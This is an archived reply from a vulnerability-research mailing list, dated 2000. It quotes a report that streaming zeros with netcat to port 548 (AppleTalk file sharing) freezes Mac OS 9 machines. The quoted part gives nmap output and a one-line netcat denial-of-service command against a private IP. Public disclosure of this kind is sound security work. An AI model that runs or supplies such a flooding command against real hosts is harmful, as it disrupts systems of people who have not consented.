Vulnerability Development mailing list archives
Re: Apple Mac DoS
From: 3APA3A <3APA3A () SECURITY NNOV RU>
Date: Thu, 14 Dec 2000 19:39:08 +0300
Hello The Q, OK, I never deal close to Mac too, but according to http://advice.networkice.com/advice/Exploits/Ports/548/default.htm "Port 548 AFP AppleTalk file sharing protocol runs on this port. It is equivelent to port 139 in Windows". Nice Apple ports descrition can be found on the same site on http://advice.networkice.com/advice/Exploits/Ports/groups/Apple/default.htm 13.12.00 12:54, you wrote: Apple Mac DoS; T> I have noticed some unusual behaviour with Mac OS 9 T> I am not a Mac user so I apologize if this is a known bug T> I have checked the archives and generally on the Net and can find no T> mention of this effect T> any way a bit of background... T> I was nmaping a mac (running os 9) to see if I could diagnose why a smb T> connection couldn't be established. Not being familiar with mac os (at all) T> I telnetted to the open ports and didn't get a lot. T> erm... T> then decided to try a netcat to each port.... (don't ask why) T> well to cut a long story short it causes a MASSIVE DoS on the mac if you T> net cat /dev/zero to port 548 tcp. The Machine needs a reset before it will T> respond. Surely this can't be right? T> the details T> - Ports open are T> testhost@testhost ]$ nmap 192.168.1.96 ## IP of a mac boxen T> Starting nmap V. 2.53 by fyodor () insecure org ( www.insecure.org/nmap/ ) T> Interesting ports on (192.168.1.96): T> (The 1521 ports scanned but not shown below are in state: closed) T> Port State Service T> 427/tcp open svrloc T> 548/tcp open afpovertcp T> Nmap run completed -- 1 IP address (1 host up) scanned in 8 seconds T> to cause the DoS T> testhost@testhost ]$./nc -v 192.168.1.96 548 < /dev/zero T> caused massive DoS - mouse nonfunctional (important on a mac :o) T> of course when you stop the netcat the mac returns to normal after 10-20 T> secs T> _____________________________________________________________________________________ T> Get more from the Web. FREE MSN Explorer download : http://explorer.msn.com
Current thread:
- Apple Mac DoS The Q (Dec 15)
- Re: Apple Mac DoS Jurriaan Kamer (Dec 15)
- Re: Apple Mac DoS Ian Stoba (Dec 15)
- Re: Apple Mac DoS Daniel J. Luke (Dec 15)
- Re: Apple Mac DoS Daniel Harrison (Dec 15)
- Re: Apple Mac DoS Martin Sunnerdahl (Dec 15)
- Re: Apple Mac DoS Ian Stoba (Dec 15)
- Re: Apple Mac DoS Daniel J. Luke (Dec 15)
- Re: Apple Mac DoS 3APA3A (Dec 15)
- Re: Apple Mac DoS Ian Stoba (Dec 15)
- <Possible follow-ups>
- Re: Apple Mac DoS Matteo,Marc A. (Dec 17)
- Re: Apple Mac DoS Daniel J. Luke (Dec 18)
- Re: Apple Mac DoS Matteo,Marc A. (Dec 18)
- Re: Apple Mac DoS Daniel J. Luke (Dec 18)
- Re: Apple Mac DoS Jurriaan Kamer (Dec 15)